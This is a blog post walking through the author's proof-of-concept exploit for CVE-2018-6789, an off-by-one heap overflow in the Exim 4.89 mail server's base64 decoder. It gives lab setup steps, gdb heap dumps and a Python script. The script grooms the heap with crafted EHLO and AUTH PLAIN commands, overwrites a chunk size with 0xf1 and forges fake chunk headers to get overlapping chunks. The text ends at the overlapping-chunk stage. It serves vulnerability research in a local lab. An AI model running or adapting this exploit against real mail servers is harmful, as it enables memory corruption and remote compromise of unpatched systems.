My PoC walk through for CVE-2018–6789

By: @straight_blast ; straightblast426@gmail.com

Introduction

On March 6, 2018, a security researcher named “meh” (will be referred to as author from now on) published a blog post[1] on the vulnerability CVE-2018–6789 that she identified in EXIM 4.89 and below. She gave detailed explanation on how to exploit the vulnerability, however no proof of concept code was release. I decided to develop a PoC based on her strategy, and this blog is a walk through of my proof of concept code. Before proceeding with reading this post, it is mandatory for the readers to read and understand the author’s blog post as she did an excellent job describing the EXIM heap management and exploitation strategy. Readers are expected to have an understanding of heap exploitation and are encouraged to read through the author’s listed references.

The Vulnerability

As highlighted by the author, there is an off-by-one calculation mistake in the base64 decoded buffer length in the “b64decode” function in base64.c.

int
b64decode(uschar *code, uschar **ptr)
{
int x, y;
uschar *result = store_get(3*(Ustrlen(code)/4) + 1);
*ptr = result;
… rest of the base64 decoding algorithm …

An invalid base64 encoded string of length 4N+3 will allocate a buffer of size 3N+1, but will consume 3N+2 bytes from the decoding. This allows heap memory to be overwritten when parsing base64 string.

Setup

I setup a test environment using docker.

docker pull debian
docker run — name exim — cap-add=SYS_PTRACE — security-opt seccomp=unconfined -d -p 25:25 -i -t debian
docker exec -i -t exim /bin/bash

Installed the necessary libraries and tools I’ll be using.

apt-get update
apt-get install gcc net-tools vim gdb python wget git make procps libpcre3-dev libdb-dev libxt-dev libxaw7-dev

Add a user for the EXIM process.

adduser exim-demo

Download EXIM 4.89 through the GitHub repository.

git clone -b exim-4_89+fixes — single-branch git://github.com/Exim/exim

I have to do the following to build the EXIM.

cd /tmp/exim/src
cp src/EDITME Local/Makefile
cp exim_monitor/EDITME Local/eximon.conf

Modify line 134 of “exim/src/Local/Makefile” to include an EXIM_USER.

EXIM_USER=exim-demo

Enable plain text authenticator by uncommenting.

AUTH_PLAINTEXT=yes

Edit “exim/src/OS/Makefile-Linux” and change the following.

CFLAGS ?= -O -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE

to

CFLAGS ?= -g -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE

This enables symbols for debugging purposes.

Run “make install” under “exim/src” folder. The installed binary should be located at “/usr/exim/bin/” folder.

Enable “AUTH” for EXIM by editing “/usr/exim/configure” and find the “begin authenticator” section. Make the following changes.

PLAIN:
driver = plaintext
public_name = PLAIN
server_condition = “$if{{ and {{eq{$auth2}{username}}{eq{$auth3}{mysecret}}}}”
server_set_id = $auth2
# server_prompts = :
# server_condition = Authentication is not yet configured
# server_advertise_condition = ${if def:tls_in_cipher }

Run EXIM as a daemon.

/usr/exim/bin/exim -bd -q30m

Have GDB attach to EXIM.

gdb -p `ps aux | grep ‘exim’ | awk ‘NR==1{print $2}’`

Observing the vulnerability

Attach the debugger to EXIM, and set a breakpoint at the “b64decode” function.

pwndbg> b b64decode
Breakpoint 1 at 0x55d7e5322a07: file base64.c, line 156.
pwndbg> c
Continuing.

Send a base64 encoded string composing of 54 characters through the “AUTH PLAIN” command.

nc localhost 25
220 bfcbfd0e67fe ESMTP Exim 4.89_1-1-fc6d6586-XX Wed, 04 Apr 2018 17:46:47 +0000
EHLO test.example.com
250-bfcbfd0e67fe Hello test.example.com [172.17.0.1]
250-SIZE 52428800
250-8BITMIME
250-PIPELINING
250-AUTH PLAIN
250-CHUNKING
250-PRDR
250 HELP
AUTH PLAIN QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQ

When “b64decode” function gets a breakpoint hit, set a new breakpoint for “store_get_3” function.

pwndbg> b store_get_3
Breakpoint 2 at 0x55d7e539bd22: file store.c, line 137.
pwndbg> c
Continuing.

Step to line 143 and print the “size” variable.

pwndbg> n
… snipped …
138
139 /* If there isn't room in the current block, get a new one. The minimum
140 size is STORE_BLOCK_SIZE, and we would expect this to be the norm, since
141 these functions are mostly called for small amounts of store. */
142
143 if (size > yield_length[store_pool])
144 {
145 int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size;
146 int mlength = length + ALIGNED_SIZEOF_STOREBLOCK;
147 storeblock * newblock = NULL;
148
… snipped …
► f 0 55d7e539bd44 store_get_3+64
f 1 55d7e5322a3c b64decode+69
f 2 55d7e53c4b24 auth_plaintext_server+281
f 3 55d7e53934f7 smtp_in_auth+126
f 4 55d7e5393f08 smtp_setup_msg+1131
f 5 55d7e532485f handle_smtp_call+2752
f 6 55d7e5327b2a daemon_go+10086
f 7 55d7e5344111 main+27309
f 8 7f30f3de82e1 __libc_start_main+241
pwndbg> print size
$1 = 40

The above debugger output indicates “size” is 40. 40 bytes of space will be required to store the decoded base64 string.

The space that holds the decoded base64 string is in agreement of “size” being 40.

pwndbg> x/30x 0x55d7e5879078
0x55d7e5879078: 0x41414141 0x41414141 0x41414141 0x41414141
0x55d7e5879088: 0x41414141 0x41414141 0x41414141 0x41414141
0x55d7e5879098: 0x41414141 0x41414141 0x00000000 0x00000000
0x55d7e58790a8: 0x74736574 0x6178652e 0x656c706d 0x6d6f632e
0x55d7e58790b8: 0x00000000 0x00000000 0x2d303532 0x62636662
0x55d7e58790c8: 0x65306466 0x65663736 0x6c654820 0x74206f6c
0x55d7e58790d8: 0x2e747365 0x6d617865 0x2e656c70 0x206d6f63

Repeat above procedure, but include one more character into the base64 string.

nc localhost 25
220 bfcbfd0e67fe ESMTP Exim 4.89_1-1-fc6d6586-XX Wed, 04 Apr 2018 18:37:50 +0000
EHLO test.example.com
250-bfcbfd0e67fe Hello test.example.com [172.17.0.1]
250-SIZE 52428800
250-8BITMIME
250-PIPELINING
250-AUTH PLAIN
250-CHUNKING
250-PRDR
250 HELP
AUTH PLAIN QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQX

The “size” variable is calculated to 40.

… snipped …
139 /* If there isn't room in the current block, get a new one. The minimum
140 size is STORE_BLOCK_SIZE, and we would expect this to be the norm, since
141 these functions are mostly called for small amounts of store. */
142
143 if (size > yield_length[store_pool])
144 {
145 int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size;
146 int mlength = length + ALIGNED_SIZEOF_STOREBLOCK;
147 storeblock * newblock = NULL;
148
… snipped …
► f 0 55d7e539bd44 store_get_3+64
f 1 55d7e5322a3c b64decode+69
f 2 55d7e53c4b24 auth_plaintext_server+281
f 3 55d7e53934f7 smtp_in_auth+126
f 4 55d7e5393f08 smtp_setup_msg+1131
f 5 55d7e532485f handle_smtp_call+2752
f 6 55d7e5327b2a daemon_go+10086
f 7 55d7e5344111 main+27309
f 8 7f30f3de82e1 __libc_start_main+241
pwndbg> print size
$1 = 40

The space that holds the decoded string consists of 41 characters. One more than the expecting size.

pwndbg> x/30x 0x55d7e5879078
0x55d7e5879078: 0x41414141 0x41414141 0x41414141 0x41414141
0x55d7e5879088: 0x41414141 0x41414141 0x41414141 0x41414141
0x55d7e5879098: 0x41414141 0x41414141 0x00000005 0x00000000
0x55d7e58790a8: 0x74736574 0x6178652e 0x656c706d 0x6d6f632e
0x55d7e58790b8: 0x00000000 0x00000000 0x2d303532 0x62636662
0x55d7e58790c8: 0x65306466 0x65663736 0x6c654820 0x74206f6c
0x55d7e58790d8: 0x2e747365 0x6d617865 0x2e656c70 0x206d6f63

Create 0x6060 free chunk block

Send an “EHLO” command with a hostname of 8000 ASCII characters will put a 0x6060 freed size chunk into the unsorted bin.

echo `python -c 'print "EHLO " + "A" * 8000'` | nc localhost 25

The address and content of “sender_helo_name”.

pwndbg> x/30x sender_helo_name
0x55d7e5885cf0: 0x41414141 0x41414141 0x41414141 0x41414141
0x55d7e5885d00: 0x41414141 0x41414141 0x41414141 0x41414141
0x55d7e5885d10: 0x41414141 0x41414141 0x41414141 0x41414141
0x55d7e5885d20: 0x41414141 0x41414141 0x41414141 0x41414141
0x55d7e5885d30: 0x41414141 0x41414141 0x41414141 0x41414141
0x55d7e5885d40: 0x41414141 0x41414141 0x41414141 0x41414141
0x55d7e5885d50: 0x41414141 0x41414141 0x41414141 0x41414141
0x55d7e5885d60: 0x41414141 0x41414141
pwndbg> x/30x sender_helo_name-0x10
0x55d7e5885ce0: 0x00000000 0x00000000 0x00001f51 0x00000000
0x55d7e5885cf0: 0x41414141 0x41414141 0x41414141 0x41414141
0x55d7e5885d00: 0x41414141 0x41414141 0x41414141 0x41414141
0x55d7e5885d10: 0x41414141 0x41414141 0x41414141 0x41414141
0x55d7e5885d20: 0x41414141 0x41414141 0x41414141 0x41414141
0x55d7e5885d30: 0x41414141 0x41414141 0x41414141 0x41414141
0x55d7e5885d40: 0x41414141 0x41414141 0x41414141 0x41414141

The “EHLO” command performs a series of memory allocation and deallocation. I ended up with the following heap layout.

0x55d7e5885ce0 – size: 0x1f50 – used (string_copy_malloc)
0x55d7e5887c30 – size: 0x6060 – free (1st item in unsorted bin)
0x55d7e588dc90 – size: 0x2020 – used (store_get_3’s malloc)
0x55d7e588fcb0 – size: 0x2020 – used (store_get_3’s malloc)

Chunk 0x55d7e5887c30 is the 1st item in the unsorted bin.

pwndbg> unsortedbin
unsortedbin
all: 0x55d7e5887c30 —▸ 0x7f30f4161b58 (main_arena+88) ◂— 0x55d7e5887c30

Chunk 0x55d7e5887c30 has a size of 0x6060.

pwndbg> x/30x 0x55d7e5887c30
0x55d7e5887c30: 0x00000000 0x00000000 0x00006061 0x00000000
0x55d7e5887c40: 0xf4161b58 0x00007f30 0xf4161b58 0x00007f30
0x55d7e5887c50: 0x00000000 0x00000000 0x00000000 0x00000000
0x55d7e5887c60: 0x61616161 0x61616161 0x61616161 0x61616161
0x55d7e5887c70: 0x61616161 0x61616161 0x61616161 0x61616161
0x55d7e5887c80: 0x61616161 0x61616161 0x61616161 0x61616161
0x55d7e5887c90: 0x61616161 0x61616161 0x61616161 0x61616161

Cut the blocks

The author suggested to cut the 0x6060 free chunk up as follow.

It took 5 steps to get the desire layout.

1. Send 1st “EHLO” command with hostname of 8000 ASCII characters, to get 0x6060 free chunk into unsorted bin.

2. Send 2nd “EHLO” command with hostname of 16 ASCII characters, to free the 0x1f50 space occupied by 8000 chars hostname from 1st “EHLO”, and to use the 0x20 free chunk space from small bin to store the new 16 chars hostname.

The 0x20 free block was discovered in the small bin.

pwndbg> smallbin
smallbins
0x20: 0x55d7e5867480 —▸ 0x7f30f4161b68 (main_arena+104) ◂— 0x55d7e5867480
0x30: 0x7f30f4161b78 (main_arena+120) ◂— 0x7f30f4161b78
0x40: 0x7f30f4161b88 (main_arena+136) ◂— 0x7f30f4161b88

3. Send an unrecognized command of 2000 “0xff” characters, to carve a 0x2020 size chunk from the merged free chunk (size: 0x7fb0).

4. Send 3rd “EHLO” command with hostname of 8200 ASCII characters, to carve a 0x2020 size chunk from the merged free chunk (size: 0x5f90).

5. The 3rd “EHLO” command will free the hostname from the 2nd “EHLO” command along with previous allocated store blocks (this includes the storage for the unrecognized command).

The PoC so far:

#!/usr/bin/python
import time
import socket
import struct
s = None
f = None
def connect(host, port):
global s
global f
s = socket.create_connection((host,port))
f = s.makefile('rw', bufsize=0)
def p(v):
return struct.pack("<Q", v)
def readuntil(delim='\n'):
data = ''
while not data.endswith(delim):
data += f.read(1)
return data
def write(data):
f.write(data + "\n")
def ehlo(v):
write("EHLO " + v)
print readuntil('HELP')
def unrec(v):
write(v)
print readuntil('command')
def exploit():
connect('localhost', 25)
time.sleep(0.6)
ehlo("A" * 8000)
ehlo("B" * 16)
unrec("\xff" * 2000)
ehlo("A" * 8200)
if __name__ == '__main__':
exploit()

The heap is in the desired state according to the debugger.

pwndbg> x/20x 0x55d7e5885ce0
0x55d7e5885ce0: 0x00000000 0x00000000 0x00002021 0x00000000
0x55d7e5885cf0: 0xe589be10 0x000055d7 0xe5889d20 0x000055d7
0x55d7e5885d00: 0x00000000 0x00000000 0x00000000 0x00000000
0x55d7e5885d10: 0x3737335c 0x3737335c 0x3737335c 0x3737335c
0x55d7e5885d20: 0x3737335c 0x3737335c 0x3737335c 0x3737335c
pwndbg> x/20x 0x55d7e5885ce0+0x2020
0x55d7e5887d00: 0x00002020 0x00000000 0x00002020 0x00000000
0x55d7e5887d10: 0x41414141 0x41414141 0x41414141 0x41414141
0x55d7e5887d20: 0x41414141 0x41414141 0x41414141 0x41414141
0x55d7e5887d30: 0x41414141 0x41414141 0x41414141 0x41414141
0x55d7e5887d40: 0x41414141 0x41414141 0x41414141 0x41414141
pwndbg> x/20x 0x55d7e5885ce0+0x2020+0x2020
0x55d7e5889d20: 0x61616161 0x61616161 0x00003f71 0x00000000
0x55d7e5889d30: 0xe5885ce0 0x000055d7 0xe5891cd0 0x000055d7
0x55d7e5889d40: 0x00000000 0x00000000 0x00000000 0x00000000
0x55d7e5889d50: 0x61616161 0x61616161 0x61616161 0x61616161
0x55d7e5889d60: 0x61616161 0x61616161 0x61616161 0x61616161
0x55d7e5885ce0 PREV_INUSE {
prev_size = 0,
size = 8225,
fd = 0x55d7e589be10,
bk = 0x55d7e5889d20,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x55d7e5887d00 {
prev_size = 8224,
size = 8224,
fd = 0x4141414141414141,
bk = 0x4141414141414141,
fd_nextsize = 0x4141414141414141,
bk_nextsize = 0x4141414141414141
}
0x55d7e5889d20 PREV_INUSE {
prev_size = 7016996765293437281,
size = 16241,
fd = 0x55d7e5885ce0,
bk = 0x55d7e5891cd0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

Trigger the bug

The heap layout is as follow.

0x55d7e5885ce0 — size: 0x2020 free — (3rd item in unsorted bin)
0x55d7e5887d00 — size: 0x2020 used — (3rd EHLO hostname with 8200 “A”s)
0x55d7e5889d20 — size: 0x3f70 free — (2nd item in unsorted bin)
0x55d7e588dc90 — size: 0x2020 used
0x55d7e588fcb0 — size: 0x2020 used
0x55d7e5891cd0 — size: 0x4060 free — (1st item in unsorted bin)
0x55d7e5895d30 — size: 0x2030 used
0x55d7e5897d60 — size: 0x2020 free — (1st item in large bin size 0x2000)
0x55d7e5899d80 — size: 0x2090 used
0x55d7e589be10 — size: 0x2040 free — (4th item in unsorted bin)
0x55d7e589de50 — size: 0x2440 used
0x55d7e58a0290 — size: 0x2d70 top chunk

The author’s next strategy is to allocate a 0x2020 chunk though “PLAIN AUTH” command, and have a one byte overrun into the 3rd “EHLO” command hostname.

I allocated the free chunk above the 3rd “EHLO” hostname by sending an “AUTH PLAIN” command with a 10935 characters of base64 string. This string will also overwrite the least significant byte of the heap size value of the 3rd “EHLO” hostname chunk.

Revised code for the “exploit” method.

def exploit():
connect('localhost', 25)
time.sleep(0.6)
ehlo("A" * 8000)
ehlo("B" * 16)
unrec("\xff" * 2000)
ehlo("A" * 8200)
v = "C" * 8200
encode = v.encode('base64').replace('\n','').replace('=','')
write("AUTH PLAIN " + encode + “X”)
readuntil('data')

By sending “X” as the last character of the encoded string, it overwrites its following chunk’s meta-data size value from 0x2020 to 0x2005.

pwndbg> x/20x 0x55d7e5885ce0
0x55d7e5885ce0: 0x00000000 0x00000000 0x00002021 0x00000000
0x55d7e5885cf0: 0x00000000 0x00000000 0x00002008 0x00000000
0x55d7e5885d00: 0x43434343 0x43434343 0x43434343 0x43434343
0x55d7e5885d10: 0x43434343 0x43434343 0x43434343 0x43434343
0x55d7e5885d20: 0x43434343 0x43434343 0x43434343 0x43434343
pwndbg> x/20x 0x55d7e5885ce0+0x2020
0x55d7e5887d00: 0x43434343 0x43434343 0x00002005 0x00000000
0x55d7e5887d10: 0x41414141 0x41414141 0x41414141 0x41414141
0x55d7e5887d20: 0x41414141 0x41414141 0x41414141 0x41414141
0x55d7e5887d30: 0x41414141 0x41414141 0x41414141 0x41414141

Finding 0xf1

The author’s strategy is to overwrite the one byte with the “0xf1”, to extend the chunk size from 0x2020 to 0x20f0.

I reviewed how EXIM implemented the base64 decode algorithm, and I learned that the last two bytes of the base64 encoded string determines the last byte of the decoded string.

I traced the code and the expression that evaluates the last decoded character is at line 193 of base64.c.

193    *result++ = (y << 4) | (x >> 2);

The above expression uses variable “y” and variable “x”. So I have to identify their source.

The variable “y” holds the 2nd to last character from the encoded string, and variable “x” holds the last character from the encoded string.

The “y” and “x” variable goes through a table lookup before it is evaluated by line 193.

Line 170 implements the table lookup for variable “y”.

170   while (isspace(y = *code++)) ;
171 /* debug_printf("b64d: '%c'\n", y); */
172 if (y == 0 || (y = dec64table[y]) == 255)
173 return -1;

Line 192 implements the table lookup for variable “x”.

192    if (x > 127 || (x = dec64table[x]) == 255) return -1;

The “dec64table” is in the base64.c.

static uschar dec64table[] = {
255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, /* 0-15 */
255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, /* 16-31 */
255,255,255,255,255,255,255,255,255,255,255, 62,255,255,255, 63, /* 32-47 */
52, 53, 54, 55, 56, 57, 58, 59, 60, 61,255,255,255,255,255,255, /* 48-63 */
255, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, /* 64-79 */
15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25,255,255,255,255,255, /* 80-95 */
255, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, /* 96-111 */
41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51,255,255,255,255,255 /* 112-127*/
};

I did the following to identify the last two based64 characters I needed to decode it to “0xf1”.

  1. Create a dec64table, just like the one in base64.c, but remove all entries with the value 255. This is because the base64 decode algorithm returns -1 if it identifies a mapped value that returns 255.
>>> table = [62,63,52, 53, 54, 55, 56, 57, 58, 59, 60, 61,  0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51]

2. Compute all the possible values for “y<<4” and “x>>2”.

>>> new_table_x = []
>>> for x in table:
... new_table_x.append(x >> 2)
...
>>> new_table_y = []
>>> for y in table:
... new_table_y.append(y << 4)
>>> print new_table_x
[15, 15, 13, 13, 13, 13, 14, 14, 14, 14, 15, 15, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 6, 6, 6, 6, 7, 7, 7, 7, 8, 8, 8, 8, 9, 9, 9, 9, 10, 10, 10, 10, 11, 11, 11, 11, 12, 12, 12, 12]
>>> print new_table_y
[992, 1008, 832, 848, 864, 880, 896, 912, 928, 944, 960, 976, 0, 16, 32, 48, 64, 80, 96, 112, 128, 144, 160, 176, 192, 208, 224, 240, 256, 272, 288, 304, 320, 336, 352, 368, 384, 400, 416, 432, 448, 464, 480, 496, 512, 528, 544, 560, 576, 592, 608, 624, 640, 656, 672, 688, 704, 720, 736, 752, 768, 784, 800, 816]

3. Brute force all entries in “new_table_x” and “new_table_y” such that “x|y” evaluates with a value that ends in “f1”.

>>> for x in new_table_x:
... for y in new_table_y:
... t = x | y
... t = str(hex(t))
... if t[len(t)-2:] == "f1":
... print x, y, t

I got this output, and select to use “x = 1, y = 752”.

1 1008 0x3f1
1 240 0xf1
1 496 0x1f1
1 752 0x2f1
1 1008 0x3f1
1 240 0xf1
1 496 0x1f1
1 752 0x2f1
1 1008 0x3f1
1 240 0xf1
1 496 0x1f1
1 752 0x2f1
1 1008 0x3f1
1 240 0xf1
1 496 0x1f1
1 752 0x2f1

4. Find “x” where “x>>2=1”. I can find “x” since I computed it in the “new_table_x”.

table = [62,63,52, 53, 54, 55, 56, 57, 58, 59, 60, 61,  0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51]
print new_table_x
[15, 15, 13, 13, 13, 13, 14, 14, 14, 14, 15, 15, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 6, 6, 6, 6, 7, 7, 7, 7, 8, 8, 8, 8, 9, 9, 9, 9, 10, 10, 10, 10, 11, 11, 11, 11, 12, 12, 12, 12]

Though manual inspection, index 17, 18, 19, 20 contains the value 1 in “new_table_x”. The corresponding indexes in “table” returns the value 4, 5, 6, 7. Inspecting which indexes in the “dec64table” returns the value 4, 5, 6, 7 are ASCII characters E, F, G, H.

5. The same procedure is applied to find the original value of “y”.

table = [62,63,52, 53, 54, 55, 56, 57, 58, 59, 60, 61,  0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51]
print new_table_y
[992, 1008, 832, 848, 864, 880, 896, 912, 928, 944, 960, 976, 0, 16, 32, 48, 64, 80, 96, 112, 128, 144, 160, 176, 192, 208, 224, 240, 256, 272, 288, 304, 320, 336, 352, 368, 384, 400, 416, 432, 448, 464, 480, 496, 512, 528, 544, 560, 576, 592, 608, 624, 640, 656, 672, 688, 704, 720, 736, 752, 768, 784, 800, 816]

I identified index 60 returns the value 752 in “new_table_y”, and returns value 47 in “table”. The ASCII value P is the original value.

Revised code for the “exploit” method.

def exploit():
connect('localhost', 25)
time.sleep(0.6)
ehlo("A" * 8000)
ehlo("B" * 16)
unrec("\xff" * 2000)
ehlo("A" * 8200)
v = "C" * 8200
encode = v.encode('base64').replace('\n','').replace('=','')
encode = encode[:-1] + "PE"
write("AUTH PLAIN " + encode)
readuntil('data')

Inspecting the memory agrees with me.

Run till exit from #0  b64decode (code=0x55d7e587ecc7 "Q0NDQ0NDQ0NDQ0N"..., ptr=0x7ffc475bb8c0) at base64.c:158
0x000055d7e53c4b24 in auth_plaintext_server (ablock=0x55d7e5878898, data=0x55d7e587ecc7 "Q0NDQ0NDQ0NDQ0N"...) at plaintext.c:102
102 if ((len = b64decode(data, &clear)) < 0) return BAD64;
Value returned is $1 = -1
… snipped …
──────────────────────[ SOURCE (CODE) ]─────────────────────────
97 auth_vars[0] = expand_nstring[++expand_nmax] = US"";
98 expand_nlength[expand_nmax] = 0;
99 }
100 else
101 {
► 102 if ((len = b64decode(data, &clear)) < 0) return BAD64;
103 end = clear + len;
104 while (clear < end && expand_nmax < EXPAND_MAXN)
105 {
106 if (expand_nmax < AUTH_VARS) auth_vars[expand_nmax] = clear;
107 expand_nstring[++expand_nmax] = clear;
… snipped …
]────────────────────────────────────────────────────────────────
► f 0 55d7e53c4b24 auth_plaintext_server+281
f 1 55d7e53934f7 smtp_in_auth+126
f 2 55d7e5393f08 smtp_setup_msg+1131
f 3 55d7e532485f handle_smtp_call+2752
f 4 55d7e5327b2a daemon_go+10086
f 5 55d7e5344111 main+27309
f 6 7f30f3de82e1 __libc_start_main+241
pwndbg> x/20x 0x55d7e5885ce0
0x55d7e5885ce0: 0x00000000 0x00000000 0x00002021 0x00000000
0x55d7e5885cf0: 0x00000000 0x00000000 0x00002008 0x00000000
0x55d7e5885d00: 0x43434343 0x43434343 0x43434343 0x43434343
0x55d7e5885d10: 0x43434343 0x43434343 0x43434343 0x43434343
0x55d7e5885d20: 0x43434343 0x43434343 0x43434343 0x43434343
pwndbg> x/20x 0x55d7e5885ce0+0x2020
0x55d7e5887d00: 0x43434343 0x40434343 0x000020f1 0x00000000
0x55d7e5887d10: 0x41414141 0x41414141 0x41414141 0x41414141
0x55d7e5887d20: 0x41414141 0x41414141 0x41414141 0x41414141
0x55d7e5887d30: 0x41414141 0x41414141 0x41414141 0x41414141

First round of patching

In order to free the extended chunk (size: 0x20f0), I have to allocate a 0x2020 block with fake heap header data, to fake a chunk that is below the extended chunk.

0x55d7e5887d00 + 0x20f0 = 0x55d7e5889df0. So the address 0x55d7e5889df0 should be the start of the fake chunk.

Revised code for the “exploit” method.

def exploit():
connect('localhost', 25)
time.sleep(0.6)
ehlo("A" * 8000)
ehlo("B" * 16)
unrec("\xff" * 2000)
ehlo("A" * 8200)
v = "C" * 8200
encode = v.encode('base64').replace('\n','').replace('=','')
encode = encode[:-1] + "PE"
write("AUTH PLAIN " + encode)
readuntil('data')
fake_header = p(0)
fake_header += p(0x1f51)

v = "E" * 176 + fake_header + "E" * (8200-176-len(fake_header))
encode = v.encode('base64').replace('\n','').replace('=','')
write("AUTH PLAIN " + encode)
readuntil('data')

It takes 8200 decoded base64 characters to fit in a 0x2020 chunk block. The difference between 0x55d7e5889d20 and 0x55d7e5889df0 is 176, so I have to prefix my decoded value with 176 characters.

I create the fake heap meta data:

· Prev_size: 0

· Size: 0x1f50 (the difference between 0x55d7e5889df0 and 0x55d7e588bd40 is 0x1f50)

The suffix of the string are just fillers.

Examining the memory is in agreement with what I want to achieve.

pwndbg> x/20x 0x55d7e5889d40-0x20
0x55d7e5889d20: 0x61616161 0x61616161 0x00002021 0x00000000
0x55d7e5889d30: 0x00000000 0x00000000 0x00002008 0x00000000
0x55d7e5889d40: 0x45454545 0x45454545 0x45454545 0x45454545
0x55d7e5889d50: 0x45454545 0x45454545 0x45454545 0x45454545
0x55d7e5889d60: 0x45454545 0x45454545 0x45454545 0x45454545
pwndbg> x/20x 0x55d7e5889d40+176
0x55d7e5889df0: 0x00000000 0x00000000 0x00001f51 0x00000000
0x55d7e5889e00: 0x45454545 0x45454545 0x45454545 0x45454545
0x55d7e5889e10: 0x45454545 0x45454545 0x45454545 0x45454545
0x55d7e5889e20: 0x45454545 0x45454545 0x45454545 0x45454545

Free extended chunk

I free the extended chunk by using a 4th “EHLO” command with a small hostname.

Revised code for the “exploit” method.

def exploit():
connect('localhost', 25)
time.sleep(0.6)
ehlo("A" * 8000)
ehlo("B" * 16)
unrec("\xff" * 2000)
ehlo("A" * 8200)
v = "C" * 8200
encode = v.encode('base64').replace('\n','').replace('=','')
encode = encode[:-1] + "PE"
write("AUTH PLAIN " + encode)
readuntil('data')
fake_header = p(0)
fake_header += p(0x1f51)
v = "E" * 176 + fake_header + "E" * (8200-176-len(fake_header))
encode = v.encode('base64').replace('\n','').replace('=','')
write("AUTH PLAIN " + encode)
readuntil('data')
ehlo("F" * 16)

Debugger output when freeing the 3rd “EHLO” hostname (aka: extended chunk).

   1758 /* Discard any previous helo name */
1759
1760 if (sender_helo_name != NULL)
1761 {
► 1762 store_free(sender_helo_name);
1763 sender_helo_name = NULL;
1764 }
1765
1766 /* Skip tests if junk is permitted. */
1767

…snipped…

► f 0 55d7e539076c check_helo+67
f 1 55d7e5394060 smtp_setup_msg+1475
f 2 55d7e532485f handle_smtp_call+2752
f 3 55d7e5327b2a daemon_go+10086
f 4 55d7e5344111 main+27309
f 5 7f30f3de82e1 __libc_start_main+241
Breakpoint smtp_in.c:1762
pwndbg> print sender_helo_name
$2 = (uschar *) 0x55d7e5887d10 'A' <repeats 15 times>...
pwndbg> x/20x sender_helo_name-0x10
0x55d7e5887d00: 0x43434343 0x40434343 0x000020f1 0x00000000
0x55d7e5887d10: 0x41414141 0x41414141 0x41414141 0x41414141
0x55d7e5887d20: 0x41414141 0x41414141 0x41414141 0x41414141
0x55d7e5887d30: 0x41414141 0x41414141 0x41414141 0x41414141
0x55d7e5887d40: 0x41414141 0x41414141 0x41414141 0x41414141

The unsorted bin indicates the extended chunk is the first item in the list.

pwndbg> unsortedbin
unsortedbin
all: 0x55d7e5887d00 —▸ 0x55d7e5893cf0 —▸ 0x7f30f4161b58 (main_arena+88) ◂— 0x55d7e5887d00

Overlap blocks and 2nd round of patching

The 4th “EHLO” goes through a series of allocation and deallocation which puts me in this memory layout.

0x55d7e5885ce0 – size: 0x4110 free 
0x55d7e5889df0 – size: 0x1f50 used

0x55d7e588bd40 – size: 0x1f50 free
0x55d7e588dc90 – size: 0x2020 used
0x55d7e588fcb0 – size: 0x2020 used
0x55d7e5891cd0 – size: 0x2020 free
0x55d7e5893cf0 – size: 0x2020 used
0x55d7e5895d10 – size: 0x20 free
0x55d7e5895d30 – size: 0x2030 used
0x55d7e5897d60 – size: 0x2020 free
0x55d7e5899d80 – size: 0x2090 used
0x55d7e589be10 – size: 0x7f10 – top chunk

The unsorted bin list.

unsortedbin
all: 0x55d7e5891cd0 —▸ 0x55d7e5889d20 —▸ 0x55d7e5897d60 —▸ 0x55d7e5885ce0 —▸ 0x55d7e5895d10 —▸ 0x7f30f4161b58 (main_arena+88)

I observed the following from the heap layout.

1. The extended chunk at address 0x55d7e5587d10 is no longer identified as an individual chunk. It has merged with the chunk 0x55d7e5885ce0 creating a free block of size 0x4110.

2. The fake chunk I created at address 0x55d7e5889df0 which I carved from 0x55d7e5889d20 is now a legit chunk.

3. The chunk at address 0x55d7e5889d20 is no longer identified as an individual chunk. However, it is noted as a free chunk in the unsorted bin. The size of it is 0x3f70.

If I allocate the chunk at address 0x55d7e5889d20, it will overlap BOTH 0x55d7e5887ce0 and 0x55d7e5889df0.

After freeing extended chunk

The unsorted bin after freeing the extended chunk.

unsortedbin
all: 0x55d7e5891cd0 —▸ 0x55d7e5889d20 —▸ 0x55d7e5897d60 —▸ 0x55d7e5885ce0 —▸ 0x55d7e5895d10 —▸ 0x7f30f4161b58 (main_arena+88)

